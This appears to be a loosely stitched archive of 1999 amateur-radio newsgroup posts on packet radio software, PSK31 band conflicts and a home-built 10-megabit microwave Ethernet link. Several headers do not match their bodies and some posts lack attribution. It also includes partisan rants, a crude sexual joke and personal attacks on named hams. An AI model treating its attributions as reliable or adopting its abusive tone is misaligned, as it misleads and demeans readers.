547. Re: Socialism and Business, was - WANTED: CRACKS

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-30 00:00:00 UTC
From: Steve Sampson <ssampson@usa-site.net>
Message-ID: <DgEs2.224$L5.5666@news.goodnet.com>
Source record: 19949

Any serious business model has to take theft into consideration.
If you go to a bank or venture capitalists, they will want to know how
your assets will be protected.

I think software theft is one of those areas that any software
developer/distributor has to consider at the outset.

Microsoft is currently showing huge theft losses, but in relation to
the sales, is still acceptable to the share holders, and management.

It's a sad fact that capitalism is not as popular with people as is
socialism. Human instinct favors socialism. Just the other week
the Ex-President of the United States outlined a new socialist agenda
which favors spending all the surplus (which means there will be
no surplus) instead of paying down the debt (5 trillion).

People want stuff for free, but then they want their boss to pay them
$25 an hour or more. Hey, we should get your work for free if all
you say about socialism is correct. Your boss should be able to
steal your work, because hell, it wasn't properly protected.

Anyway, my point is, that the story is interesting, as it shows a
business owner who hasn't graduated Business 101. Most home-
grown business are like that. The owners have no concept of the
brutal real world. Capitalism is hard, socialism is the anti of hard.
It's easy to be a socialist, as the Democrats will spoon feed you
when given the chance (hell they cut billions off the top, and give
you enough to think you are special). Republicans can help. If the
word socialism makes you want to puke, then tell President Gore
(the other socialist got himself impeached) that you expect him to
do to socialism in other forms, what the Republicans did to welfare.

Hi John,

The "better" way doesn't have to involve that sort of cost...

You can build routers out of old '486 PCs and some free software (*).
(You might have to pay to get some serial I/O cards capable of
manchester or NRZI for the wan ports. Perhaps even DS1.)
Once you have a serial stream you can use the same sort of FSK modem
you originally intended to use, but now at a manageable baud rate.

(*) There are versions of Linux that can be configured to be
standalone routers that just need a single floppy disk. You don't
even need monitors once the system has been set up.
Do a web search for "linux router project".

====
That 2Mbps radio I mentioned in my other post might interest you. It
was a very cheap design from the mid 1980s, aimed at the low end of
the market, but it worked very well, and made lots of money for the
company. I heard that a company in the UK even illegally copied it.

The data signal was ITU-T G.703 compliant. (For non
telecommunications types, this is a 2.048MHz HDB3 encoded data stream.
HDB3 is sort of like AMI, but with a guaranteed pulse density. It's
used throughout the world (but not much in North America) to carry 30
x 64kbps of voice channels, plus two 64kbps timeslots for framing and
signalling.)

The Tx just took the input G.703 signal, padded it down to the right
level, filtered it a bit to reduce the bandwidth, and then passed it
to what was essentially a fm video transmitter.
This consisted of a directly modulated X band DRO. Long range models
had an afterburner.

The RF channel was 7MHz wide.

[We also did tiny video transmitters that were about half the size of matchbox, including the patch antenna. These also used a directly modulated DRO. These transmitters mostly ended up in security agencies. Some ended up in cricket stumps.]

The Rx was a litle more complicated than the Tx, but still simple. I think it was a single conversion superhet. The LO was a DRO similar to the one in the Tx. I can't remember what the IF was. It would have needed to be at least a few hundred MHz to give good image rejection. The demodulator might have used a part from Plessey. Anyway, the received video signal was squared up with two comparators (one each for positive and negative pulses), and the G.703 signal was made by combining the two comparator outputs with a video opamp. There was no need for any clock recovery or anything complicated like framing.

This sounds like you could make it fairly quickly on the bench, until you realise you need a diplexer (& possibly a circulator as well) for the antenna. Perhaps you have a spare one sitting about...

[If I sound a little vague about some of the details, it's because I didn't design any of the RF stuff in that company - I mostly worked on digital hardware. Plus it was a long time ago.]

Regards,
Allan.

549. pcr1000 program (advise needed from a swedish speaker)

Here's some general background info:

Original from N5PVL to DEBATE@ALLUS

Many of you appear to be confused about the two major political parties here in the U.S. -- Here's a short, accurate breakdown on them:

DEMOCRATS:

The democrats are like the Communists.. They want you to send your entire paycheck to Washington, so they can spend it for you. All wealth belongs to, and is distributed by the state. This is why Democrats are big on new taxes, and new social programs. If there's a problem, their first reaction is to throw money at it.

(Your money)

Despite all evidence to the contrary, they believe the state knows better how
to use your money than you do.
Though they claim to be looking out for our rights, they constantly try to take away our right to keep and bear arms, and in a wider sense, our basic right to exercise self-determination.

REPULICANS:

The republicans are like the Nazis.. They want to come into your bedroom (uninvited) and stand over you with a club while they criticize your morals. All moral and political issues are judged and enforced by the state. This is why republicans are big on new prisons, new laws, and more "powers" for the police (state). If there's a problem, their first reaction is to dilute rights and freedoms in favor of "increased security".

(Your rights and freedoms)

Despite all evidence to the contrary, they believe the state knows better how
to run your life than you do.
Though they claim to be looking out for our rights, they constantly try to take away our right to privacy, due process, and property.

OVERVIEW:

Neither one of these groups should ever be allowed much power. The best news we have about them is that they constantly bicker and work at cross-purposes.
The art of politics in the USA is to keep the Democrats and Republicans at each other's throats, never letting one side or the other really get the upper
hand.

In a really good year, the two groups fight entertainingly while canceling out each other's efforts so that over-all, nothing is done whatsoever.

There is a rapidly mounting body of evidence which suggests that the less the
government gets accomplished in a given period of time, the better off we all
are.

In this light, it is easy to appreciate the simple elegance and effectiveness
of our two-party political system in the USA.

No. Republicans want you to *not* perform sodomy with every prostitute that
happens to come over to the White House. We think cigars are a cause for
cancer, and that we don't think Americans should have to pay for a smokers
health care. These things should not be inserted into a womens vagina.
At the very least you will have all sorts of leaves left behind, and it will
probably
result in constant drainage...

Source record: 19958

Hi there,

I am currently with a Motorola HT (AP50), and would like to
connect a TNC to it. However, I'm not sure about how to wire the radio
to my TNC.

The following page should give you a general idea of the information I'm
seeking:

http://prairie.lakes.com/~medcalf/ztx/wire/index.html (TNC-Radio Wiring
index)

However, different radios have different capicitor/resistor values, and
different wirings and dimensions for the connectors. I haven't been able
to find this information for Motorola handhelds.

Would appericiate if someone could provide me with that information.

If it helps, I am to understand the speaker mic configuration for the
AP50 is identical to the GP300.

Howdy,

I've been trying to set up a J/TNos station but I've run into various problems.

First, the only TNOS documentation I've seen concerns v1.0 and the version I've downloaded is v2.30. It came with a bunch of files containing what had been fixed since the previous versions but I don't want to waste time by tracing which bug fixes/changes have effect under the current version. I've tried to locate a more up-to-date user documentation but have failed to find any.
Does anyone have any ideas as to where to find documentation ?

Second, I tried setting up JNOS. I did get it up and running after a few days but I failed to find a compiled version containing what I'm looking for.
I'd like to set up an old 486 to collect all my mail and I'd like it to contain ppp/smtp/dialer AND the usual netrom etc.
I found a 1.11x7 that contained all of those but I got "too many sessions" error messages no matter what I did with it (didn't get those when using another exe-file).

Could anyone point me in the right direction and tell me where I could find the proper documentation, installation instructions and perhaps a nice compiled xNOS exe-file ?

568. FBB 7.0 g for DOS & BPQ

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-31 00:00:00 UTC
From: David Wolf <wo5h@email.msn.com>
Message-ID: <OirX6mWT#GA.154@upnetnews03>
Source record: 19970

Just upgraded from FBB 5.15c to 7.0 g. Pretty painless with the install program included.
Things seem to work okay except one item noted:

If I close FBB (leaving BPQ running) to edit something, when I do a soft boot and attempt to gateway (F2 + G command), when I make a connect attempt through one of the ports, the transmitter hangs. Does not happen when I do a hard boot.
This is behavior I did not see in 5.15c or before. Suspect something is not set right (or software bug) affecting exchange between FBB and BPQ with the new version. Any thoughts?

Setup: Couple of DRSI cards, stand-alone DRSI TNC on a serial port, external phone modem, 486 DX2-50 clone.

73, Dave WO5H

569. Why not 500 Hz Filter for PSK?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-31 00:00:00 UTC
From: Seth Miller <seth.miller@NOSPAMworldnet.att.net>
Message-ID: <36B4DF83.CCFE5DF2@NOSPAMworldnet.att.net>
Source record: 19971

Been having a lot of fun with PSK31...

But, can anyone tell me why I don't seem to be able to use my 500 Hz IF filter for this mode? I _can_ select it successfully (using the trick with Icom radios of 'lying' to the radio and telling it I have installed an SSB filter, which then lets you select a 500 Hz filter on LSB/USB). When I tune in a PSK station, however, while I can copy fine on USB with the standard filter (2.4 kHz, I believe), I cannot copy the PSK signal with the 500 hz filter switched in. I can narrow down the passband as much as I want with the dual passband tuning control (the radio is an IC-746, FWIW...) as much as I want and can still copy the PSK signal with no problem, but not with the 500 Hz filter. Nothing wrong with the filter itself, it works great for CW/RTTY/Pactor. Since PSK occupies a bandwidth of 50 Hz or less, it would seem that a 500 Hz filter wouldn't be a problem...

And yes, the DSP filtering in the program works great, it takes some mighty strong and mighty close QRM to cause a problem even with the wide IF filter, but it would be nice to be able to narrow down the passband to keep the garbage (as I now refer to Pactor/RTTY :-) out of the AGC...

And ideas, only thing I can think of is a level problem between the radio and PC with the narrow filter switched in but that doesn't seem to be the problem...

Thanks -

- Seth N6BMB

Source record: 19973

The 500 Hz isn't a problem. You probably don't have your software rx and tx frequency set to the center of the filter passband. You need to figure out how far from the dial frequency the filter is located in USB. In my case, the center is 1500 Hz so I set the Rx and Tx frequency on the software to 1500 Hz. The 500 Hz filter works great, making the waterfall easier to tune and keeping close-in QRM from pumping the receiver AGC.

572. HELP PLEASE!! XPwin Not Boot with PK232mbx !!!!!!!!!!!!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-31 00:00:00 UTC
From: James Nipper <jnipper@southeast.net>
Message-ID: <36B4FEA6.7070@southeast.net>
Source record: 19974

I have used a PK232mbx for many years. Six months ago, my tnc got
torched by a surge, and I just acquired another one, and have wired it
up to my Yaesu 1000MP.

I am trying out the XPware for Windows (XPwin). I can't get it to
fully "talk" with the tnc. It goes through an autobaud routine,
obviously searching for the proper baud rate. It will "read" the
correct tnc type, then read the firmware version, but it never seems to
settle down on the correct baud rate.

My XPwin Program settings are Baud Rate 9600 / Parity None / Stop
Bits 1 /
Data Bits 8/ Com Port 1.

The XPwin software acts like the tnc is not there. It attempts the
Autobaud routine,
but skips the 9600 baud rate where it should lock in. In fact, it keeps
polling, and
when it shows a baud rate of 444 (yes, 444), it then tries to "see" the
rom
date, it just sets there, and then the program freezes up. This
sequence is the same
whether or not my tnc is even turned on, so I know for a fact that the
software is not
talking to the tnc.

I have been able to boot up my tnc with a Commodore 64 and Compakratt
64, and it
works fine, so I assume from this that the PK232mbx is fine. I can
only imagine
that I have trouble with either the software or with my PC. Yet, it is
hard to believe
that either of them are defective. I have no idea how to check my com
ports. I did
install a new serial cable from the tnc to the pc com port, but that did
not help.

I took the battery jumper off the tnc for a fews mins, hoping it would
"reset"
any old parameters, and put the jumper back on, but no help. I again
reset and
verified the baud rate of 9600.

Can anyone PLEASE help me ?? I will appreciate any response. I am
VERY ANXIOUS to get back on pactor!!!!!!

Again, thanks for any help... 73 de Jim K4PYT

573. APRS & Digi Question

Newsgroup: rec.radio.amateur.digital.misc

I am trying to understand the digipeating of APRS. I have tried to do a test by sending a packet via WIDE and also through a particular station to see if my signal is digipeated. I am using a terminal program to attempt to see the digipeated packets. This test does not work with the 2 APRS stations that are somewhat local. The test does work with local BBS's. Is my problem that I am out of range of the APRS stations or is there someting wrong with my digipeat settings. Also, if I find a station to digipeat through, should my path be APRS via that station? If anyone would like to share their knowledge of the principles behind the APRS digipeating it would be appreciated.

Possibly so, but one of my requirements is that this project just act like a "virtual 10BaseT cable", with no fiddling around with Ethernet hardware, drivers, or clock rates at either end. It is hard to live with 2 Mbps when you're used to 10 -- this will be used for file sharing and streaming on the LAN as well as Internet access. Messing with the clock rates, disabling Manchester coding, or adapting the design for specific NICs or routers renders the whole thing less general and consequently, less useful. This is 1999, after all -- it is about time someone came up with a truly general-purpose, idiot-proof 10-megabit radio link for modern LAN hardware. :-)

This weekend I successfully ran half of a 10BaseT link through an MC13155, modulating an 800 MHz VCO with an MC10116 line driver and recovering the data at the other end, after downmixing, with another MC10116. It worked the first time, with an almost-randomly-chosen voltage divider determining the deviation at the VCO. Haven't had much time to play with it since, but it appears that it will be straightforward to determine some reasonable transmission parameters empirically.

>under control.

Hmm. What do you mean by "30 MHz DC shift" -- 15 MHz either side of
center for the positive and negative peaks? So, by Carson's rule it
would suggest that the occupied bandwidth for 10-megabit Manchester with
2X frequency headroom would be 2*(15+20) =~ 70 MHz?

>I worked on a low cost short haul 10GHz system a few years back and it
>certainly is not all fun.
>
>1. The 13155 seems to work OK -- I shifted to a new job before
>running extensive tests but it did go..

I got it working the other night, modulating an 800 MHz VCO with one
side of the 10BaseT link and recovering it after downmixing. I was able
to send packets from one machine to the other with no problem, deviating
only about +/- 3-4 MHz to either side of center. (Basically my first
guess worked, it doesn't seem critical).

>2. The filter before the 13155 is a real bitch -- flat, good phase
>response for 30 Mhz, run at 70 Mhz or so. It was easier to move up
>to 135 MHz and do the filter up there. Too wide for a helical, and LC

>This filter is critical to the noise performance of the whole system
>-- the best results were from a LC highpass followed by a buffer,
>followed by a low pass, but in the end you have to tolerate some
>excess bandwidth.

Now that is interesting. I would have expected the phase response of any filters in the system to be critical, as you suggest. I did not use any filtering at all in my quick-and-dirty test with the 13155, but I did try inserting a cheap Mini-Circuits 20 MHz LPF in my 10BaseT interface test bed (basically, between two MC10116 line drivers at either end), and the data got through it just fine. I measured the phase shift of that filter at 45 degrees at around 7 MHz in a 50-ohm system, so I don't actually understand how it could possibly have worked. The link even continued to work normally when I cascaded two of these filters in series! That must have caused the phase shift of the leading 10-MHz burst in each packet to exceed 90 degrees, but it didn't seem to bother anything at all.

I have ordered a couple more Mini-Circuits filters, low-pass at 200 MHz and high-pass at 100 MHz, to put in front of the 13155. My guess was that these would be sufficient, operating at a center frequency of 150 MHz. The highpass->buffer->lowpass scheme is identical to N6GN's, and I was planning to stick with it.

>3. Consider changing the data to another modulation eg back to NRZ
>can be done with a few gates and flip flops -- halves the bandwidth.

That might work, but wouldn't it do bad things to the initial 10-MHz clock-sync(?) burst? (Not that my 20 MHz filter *wasn't* doing bad things to that burst...)

>. Get the pulse shaping correct first -- ethernet drivers have FAST
>ansition times -- after all they drive long cables.

The MC10116 line drivers used by Glenn's initial 2 Mbps project seem to work well at 10. I'm using MCL T1-1 broadband transformers for isolation between the 10116s and the 10BaseT jacks.

>. Remember that one direction with a GunnPlexor will be inverted.

True, but I was also surprised to note that at least with the two 3Com EtherLink III cards in my test machines, the polarity isn't important. The cards seem to recognize and compensate for polarity inversions. That does make the testing easier, as it eliminates a potential way to screw things up, but I wonder if it is true of all 10BaseT cards in general or just the model I happen to be working with?

>. The 13155 is not the only way to go -- some of the RF
>discriminator IC's used for earlier satellite TV work well try Mitel
>for the RF discriminators from GEC Plessy. I forget the part number

>but I can look it up.

I'm pretty happy so far with the 13155. My initial test was conducted at a center frequency of 90 MHz, but it should be fine at 150 as well according to the data sheets, and you couldn't ask for a simpler circuit.

>If I can help further email me...

Thanks -- any clues I can get will help. :-) Would rather keep the thread on the newsgroups if possible, though, as email doesn't show up for posterity's benefit in dejanews.

>PS : You can phase lock a Gunn device cheaply using Fujitsu or NEC
>dividers that work at 14GHz -- let me know if you are interested in
>the circuit.

I'm expecting I can just AFC the tuning port with a low-pass filter off the differential output of the MC13155. There'll be an opamp on those lines anyway to drive a tuning meter. One nice thing about a single-conversion design (as opposed to N6GN's) is that AFC needs to happen only at one end of the link!

Charles,

Your record is still stuck. Hams in Europe mostly have restrictive PTTs
which won't allow the interconnection of a radio transceiver to the
telephone. Hams in Europe normally can't have things like a packet to
internet gateway. Hams in Europe normally can't handle third party
traffic for non-hams. Hams in Europe mostly don't have autopatches on
their VHF voice repeaters. You live in a country which has few such

restrictions. Even with all of those freedoms, all you do is bitch, bitch, bitch.

When in doubt set your path to wide,relay. One of the 2 should pick you up and digi you. You said "somewhat Local", maybe those digi's aren't hearing you. How much power are you putting out? Are there mountains or buidings between you and the digi's? You may have to increase it a bit if it's low power (say 5 watts). When I first started play with APRS there was NO digis within 50 miles so I had to use 50 watts minimum to get out to the network. When we got a local digi I cut that down to 10 watts. I mainly use WA2YSM,wide in my path.

Gee, Dave, it sure is terrible of me to bitch bitch bitch about the Packet Radio network here in the US being undercut and almost completely destroyed by bozos with telephones, while the folks in Europe enjoy a modern Packet net, isn't it?

What in particular do YOU have against Hams using Radio?

Clowns like Greg Jones, who actually PROMOTE "amateur telephone" are directly responsible for our present situation here. Don't think so? Take a look at the result of Greg's policies here in Texas, where the TexNet high-speed Packet net is now kaput and is slated to be replaced by *** Internet connections *** in preference to Amateur Radio. The TexNet folks have gone so far as to say that TexNet node SYSOPs without Internet connections will be edged out of the "network". - A real proud day for Ham Radio when that was announced, huh?

My record will become unstuck just as soon as we get some relief from Greg's anti-Ham LandLine Lid buddies and can go back to developing an Amateur Packet Radio Network again, and not one instant sooner. Get used to it. You'll be hearing a lot more of the same, and not just from me.

Be a Ham!

That's a good point; the original N6GN design was DC-coupled throughout, but I've taken the liberty of using broadband transformers at both ends of the circuit for isolation purposes, and blocking capacitors between the FM detector and line driver chips. AC coupling simplifies the design considerably over the circuit in Glenn's original article.

I'm not obsessed with optimizing bandwidth usage, anyway, as long as it works.

Probably the biggest obstacle to this idea isn't technical or economic, but regulatory. I am not sure what the licensing requirements are, or if even an amateur license allows one to chew up 50, 60, or 70 MHz of prime 24 GHz real estate with something like this. I'll have to look up the relevant FCC regs one of these days. It is not a big deal in my particular case since I only need to run enough ERP to make it across a parking lot, but widespread deployment of such a system would undoubtedly have to be done entirely at the users' risk, legally speaking.

My suspicion is that the ham ID requirement could be easily met by simply keying the carrier in a quick "_.. . _._ . ..._. _.._" pattern every few minutes. That will play hell with my Quake game, though, so I may put it off until I get my first pink slip in the mail from the FCC. :-) In all seriousness, though, the legal aspect of the problem is one reason I want to learn more about what determines things like the minimum usable bandwidth and such.

>

I dunno. 1 Mbps = about 130 KBytes/second, and I definitely get closer to a megabyte per second just copying files in DOS across Windows boxes on 10BaseT. Our net connection at the office is only a T1, so 2 Mbps would be fine for Internet work by itself. The trouble is, nobody uses 1- or 2-megabit network cards anymore. The ones that sell for $20 at CompUSA are all 10-megabit 10BaseT models. Supporting anything less than 10BaseT is a waste of time, on the grounds that it's obsolete technology.

> 2b. Even if you get 10Mbps, what happens when you connect to a
> 100BaseT network? Will you need 100Mbps then? Repeat argument with
> 1000BaseT.
>

Right now I don't have any interest in supporting 100-megabit or faster standards. 10 Mbps is just an incremental jump over the older 2 Mbps designs floating around, but 100 Mbps is much more than just a faster 10 Mbps link. 100BaseT uses multiple pairs with all kinds of funky multi-level quadrature modulation schemes and such that I don't even want to think about at this point. I am not sure that there are any off-the-shelf radio modem chips like the MC13155 available for 100-megabit service.

> this wouldn't seem to be a problem.
>

Sounds like a very good point; minimize the traffic on the wire, and you end up with fewer retries. The dual-Gunnplexer approach I'm using isn't really "full duplex" -- because each Gunnplexer serves as the other's local oscillator, each station can only receive when it isn't trying to transmit. Consequently I can imagine that excessive net traffic at the "office" end will lead to substantially degraded performance at the "home" end, even when the traffic isn't intended for the remote site!

If this turns out to be *too* big a problem, I will probably just order a couple more Gunnplexers and put half of the link on 10 GHz with the other half on 24. Either that, or use a couple sets of cheap VCOs to put the link somewhere between 1 and 2 GHz. The latter, of course, would eliminate all hope of legitimacy from a regulatory standpoint.

That's not true. For gigabit ethernet, there's fancy modulation etc.
But for regular 100BaseT there are only two pairs used, and it's
basically the same as 10BaseT.
Manchester encoding is used for 10BaseT.

> > Venture capital, anyone?

Already being done by the same people that make the 10MB chip, and some
others that have been buying this chip from the same mfgr. I forget, it
might be Harris. I've been on their web page, so you should be able to
find it on the net.

Re: PSK, a little breathing room please?
.....
Here's an email Pete (the fellow who wrote the PSK31 program for the sound card etc) and I exchanged. Thought you guys might like to see what he said.

Please DON'T email etc your angry rebutals to *ME*. I'm only the messenger.
.....
From Peter.Martinez@btinternet.com
Date: Sat, 30 Jan 99 10:30:36 -0000 (UTC)
From: Peter Martinez <Peter.Martinez@btinternet.com>

Jim:

Yes by all means post anything from me anywhere to give PSK31 a boost.

One area that needs pushing around the discussion groups and arguments, is that of the problem of conflict between PSK31 activity, which is 100% human <>human QSOs, versus the machine<>machine links, mostly Pactor I think, which take place in the 14070+ part of the spectrum that has become, by default, the home of PSK31.

I think this part of the spectrum, that is, sitting on the bottom edge of the RTTY sub-band, is an ideal place for PSK31, adjacent as it is to the area traditionally used for "QRP" working. Therefore I tend to resist any suggestions that PSK31 should move elsewhere. 14053 and 14097 have been suggested.

The question then remains of how to resolve the problem of unattended Pactor mailboxes causing interference to on-going PSK31 contacts, either because they don't listen before calling, or because they respond to calls that are inside skip or out-of range to ongoing PSK31 contacts. The obvious answer is to get the Pactor mailboxes to move up and leave a bit of space for us, but the question is how to achieve that without confrontation. A campaign of information would be the best, informing Pactor users and mailbox systops that PSK31 is now building up rapidly in there areas and would they take steps to prevent causing interference.

I am starting this over here and it's beginning to work. The QRM from casual Pactor operation and live Pactor users calling mailboxes in the 14070-14071 area is down a lot on a month ago, and there are just a few stubborn maildrops left.

Yes I think I have annoyed a few commercial organisations: A well-known german manufacturer was recorded as going into print, on being asked to comment on PSK31, that the concept was flawed, it took up too little

bandwidth at a time when we should be thinking of wider modes in order to safeguard our threatened amateur bands, and was a step backwards in technogolical evolution, etc. etc. Three weeks later a press announcement from the same company said they would be implementing PSK31 shortly!

73, Peter

.....

How 'bout it guys - a few Khz between 14.070 and 14.075 for PSK only??

This mode is catching on FAST! I've heard signals (some -very- weak) from Russia to VK in just a few days of monitoring. Two guys in Finland talking amoungst themselves (luckily in English) runing low power just above the noise (10 to 500 Hz B/W) with a Pactor station running 59+ within 1 Khz of them. Pete and a DL set up shop between interference bands (every 50 Hz apart) of a chirp radar and carried on for a hour with no problem. "Move up 50 Hz is common place".

If you can hear it - you can print it. If it seems buried next to a Pactor station (with a wide Rx filter setting) it will print -ANYWAY-.

Some helpful hints I've found out;

1. Make sure your rig is stable. A 5 Hz drift is TOO MUCH!
2. It really helps if you can tune 1 Hz per step for the final tune in. 10 Hz looks like pretty big jumps although you can use the program to final tune the signal in 1 Hz steps.
3. A DSP audio box really helps to get rid of the annoying "other" stuff for your ears (only). Doesn't make much difference to the PSK program since the sound card filtering is very good.
4. A narrow IF filter -will- help your receiver behave when strong adjacent Pactor signals are nearby (AGC etc).
5. Just watch the "water fall" display as you tune slowly around 140.700 for the tell tale double lines with a narrow black space between them. TUNE SLOWLY!! Even with A pactor station screaming away you'll still "see" the PSK signal. When you get it tuned in properly, the width of the PSK signal is directly below the white portion of the fixed tuning display. Then -slowly- (1 Hz at a time) tune either the Rx or the "Rx Freq Hz" up/down buttons until the "Phase Scope" display is as vertical as you can get it. (It's all in the instructions.)
6. The station calling CQ should NOT have the "NET" boxed checked. Use NET to lock YOUR TX to the other stations TX frequency.
7. While it doesn't matter in BPSK, use USB for PSK so everyone will -not- be inverted when switching to QPSK.

Looks like "technology" just smacked us in the head guys. TNKs to Pete and his merry band of "digital nerds" :)

The address to download this FREE program is;

ftp://det.bi.ehu.es/pub/ham/psk31/p31sbw104.zip

V1.04 is the latest version (hot off Pete's keyboard).

It looks like it might be good to use xx.x70,000 Mhz as the base PSK freqs
on the bands where it's used.

No angry rebuttals, it is still possible to have a civilized and
rational discussion within a newsgroup (I think...).

'twill be interesting to see how this one rolls out, I can see both
sides. The Pactor traffic was there well before 14.070 became the
'default' PSK calling frequency, but then again the mailboxes scan a lot
of frequencies, surely they can keep clear of a few kilohertz on 20
meters. My limited association with a few mailbox sysops has
demonstrated that they are a professional and committed group, and will
act with everyone's best interest in mind -- I expect that this crisis
will be over before it begins (as it should be in so many other areas of
the hobby). Hopefully those involved can show everyone else 'how it's
done' when a conflict arises, it's pretty disheartening to see how
quickly some other issues related to the hobby have devolved into
pettiness and name-calling. I hope this one works out better...

In any event, one way or the other PSK seems here to stay.

593. CW trainer for Mac wanted

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-01 00:00:00 UTC
From: medboy@clear.net.nz
Message-ID: <pGdt2.596$F5.6029@news.clear.net.nz>

Hi there

I am looking for CW training software for the macintosh (irrespective of how old). I used to have a mac program called 'Morse' (10/10 for originality!) for the Mac plus which was pretty basic but did the trick. Does anyone have it or something else?

Cheers
Graham

594. GMDSS Trainer

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-01 00:00:00 UTC
From: hamilton2570@my-dejanews.com
Message-ID: <793ufviqo1@nnrp1.dejanews.com>
Source record: 19982
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.misc,rec.radio.amateur.pol

This software is used to
provide the user with information related to Global Maritime
Distress and Safety System;
help him acquire skills of usage of radio communications equipment
used within GMDSS.
All data provided by the software fall into the following categories :

text;
pictures;
short video films;
short audio pieces (both speech and music);
binary databases (tables);
executables each simulating a certain radio equipment.
All these pieces of data are cross-referenced in a multiway
chierarchial-tree global structure. In effect, they form a hypertext
system, one of its well-known advantage
being the ability of the user move within a "layer" of data
corresponding to his current level of proficiency; but if necessary, he
may "descend" to the very basics of any
issue, e.g. to a physical definition of oscillations.
All the above components of the database are easily added and
modified; it does not require recompiling of the software (except
executables).
The total size of the database is limited only by free disk space.
The program is installed on a local area network, each station
representing a ship, coast radio or shore-based subscriber station and
it can work as a standalone
workstation.
The program simulates work of radio communications equipment,
including sending/receiving messages and voice to/from ships. The voice
communications are implemented with a Sound Blaster audio card installed
on each computer.
Three different types of workstations are available : shipborne, coast
radio and subscriber stations. The latter two simulate an exit to
shore-based communication networks.
In a sense, this program is self-documented and almost all data
presented in this manual is easily reached right from the program.
The program is released in two versions : full version for local area
networks (LAN version) and standalone version for onboard training.

Ed Hare, W1RFI wrote in message <36B234E1.1427@arrl.net>...

>snip<
>I propose:
>
>A real ham is someone who has been issued an FCC license under the
>provisions of Part 97, who operates his or her station within the
>provisions of Part 97 in a manner that is respectful of the rights of
>other real hams to do the same.

That sounds reasonable to me.

How you can put forward the statement above and show such tolerance for the activities of "Internet Forwarders" on the Packet Radio network is beyond me, though.

Internet Forwarders (LandLine Lids) use telephone links to "route around" Hams who are trying to communicate by Ham Radio, depriving those stations of the traffic they are intended to carry. This, in turn, leads to those SYSOPs losing heart and shutting down. Hundreds of great Hams have been shut out this way by LandLine Lids, both on HF and in VHF/UHF networks.

Wherever Hams attempt move information digitally, including Packet, PACTOR, AMSAT, CLOVER, you name it, a LandLine Lid will come along with his telephone connections to "route around" those Hams and deprive them of traffic.

JUST IN CASE:

Just in case a reader here has trouble understanding how "routing around" occurs:

RealHam has Amateur Packet Radio traffic to move on 40 meters. (Mode does not matter) -- But a local LandLine Lid cleverly moves that traffic over his Non-Ham connection, which of course is much faster. So when RealHam connects to the distant station and attempts to forward the messages, he is told that they are already there. So the Real Ham is left with nothing to do. - Because of the actions of a Lid with a telephone.

LandLine Lids have used this routine to systematically shut down most of the USA Packet Radio forwarding network. To see precisely WHICH hams have been doing this, see the LandLne Lid List at:

http://www.texoma.net/~n5pvl/llllist.htm

These persons are not, by your definition, "Real Hams" because they are not "respectful of the rights of

other real hams to do the same." Right?

To see a couple of alleged "Leaders" of the US Packet Radio network who also do not make the grade as Hams according to your definition, see:

http://www.texoma.net/~n5pvl/mal.htm

Tell us, Ed; Are YOU respectful of the rights of Hams to use Radio? If so, how can you justify the actions of LandLine Lids who have caused hundreds of fine Hams to lose heart in what they are doing?

No disrespect intended here, but don't you think it's about time the ARRL woke up and smelled the coffee Re: this issue? The US Packet net has undergone serious degeneration due to this problem, and I have not seen any effort being made to look into the problem and correct it.

Hams in Europe have regs which protect them from LandLine Lids; Why don't we?

Hams in Europe have seen their Packet Net grow and advance while the US net has almost completely died away.

Wake up and smell the coffee.

Unless you're using one with an integrated transceiver, Ethernet
controllers are externally clocked, and can be clocked at rates
other than 10Mbps (such as 2Mbps). Some of the controllers will
even allow you turn off the Manchester encoder, which is ideal.
The Intel 82586, still commonly found on older Ethernet cards
(perhaps you can pick a few up at a swap meet or computer store
used bin), is a fully-featured serial data engine (though writing
drivers for it is not for the faint of heart).

In other words, you can probably scrounge an Ethernet card which
makes a perfectly fine serial data engine.

599. List of the rec.radio newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-01 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <794ftm$dct@news.Hawaii.Edu>
Source record: 19987
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.dx

```
Archive-name: radio/personal-brief-introduction

In an effort help ensure a poster's article reaches the appropriate
audience, below is a list of the rec.radio newsgroups. In most cases,
a group's name will explain its purpose. Cross-posting should rarely
be necessary.

rec.radio.broadcasting (devoted to the broadcast industry; moderated)
rec.radio.cb
rec.radio.info (periodic informational bulletins; moderated)
rec.radio.scanner
rec.radio.shortwave
rec.radio.swap (for buying, selling, and trading; not a discussion group)

rec.radio.amateur.antenna
rec.radio.amateur.boatanchors (tube-type communications equipment)
rec.radio.amateur.digital.misc (packet, pactor and other digital modes)
rec.radio.amateur.dx (long-distance amateur communications)
rec.radio.amateur.equipment (questions, comments regarding commercially-
built amateur gear; not for buying/selling)
rec.radio.amateur.homebrew (devoted to home-building ham gear)
rec.radio.amateur.policy (issues include code, restructuring, local
restrictions in conflict with FCC R&R)
rec.radio.amateur.space (satellites, meteor scatter, EME)
rec.radio.amateur.misc (any topic not covered in the above groups)

(At least two other English language radio hierarchies exist, prefixed
with "uk" (United Kingdom), and "aus" (Australia), in place of "rec.")

Again, cross-posting should rarely be necessary. Many times, a long-
running thread results from a single cross-posted article, and the
contents of such a thread drift further and further away from being
"on-topic" in the various NGs that receive each and every followup.

For more detailed information, see "Guide to the Rec.radio Newsgroups"
posted on the 15th of each month.

Jeffrey Herman, WH6U
(rec.radio.amateur working-group)

I downloaded JNOS 1.11C from the site above. Works very nicely on a 486. It seems stable running in either DOS mode or in a DOS window in Win95. I'm a newbie to JNOS so I'm still setting up netrom, etc.

I have a question regarding the trace command if anyone out there has any suggetions. I've tried "trace tnc0 211" which used to show both transmit and receive packets with an older version but now I only see my transmit packets. Also tried 2211, 111, 311 as the option bits and still only see my transmit packets. Any hints?

Hi Dana,
Yes, I agree about the underclocking. I didn't think you
could still get cards like that anymore, but if you can, go for it!
Modern transceiver chips will have an onboard PLL (or more likely, a
delay locked loop) which will have a limited pulling range.

I'm not sure why you'd want to disable the Manchester encoder. Sure,
it'll halve the bandwidth, but it'll make clock recovery at the other
end quite difficult, as ethernet controllers don't scramble the data,
which means that if you send a packet of 1500 zero bytes, you won't
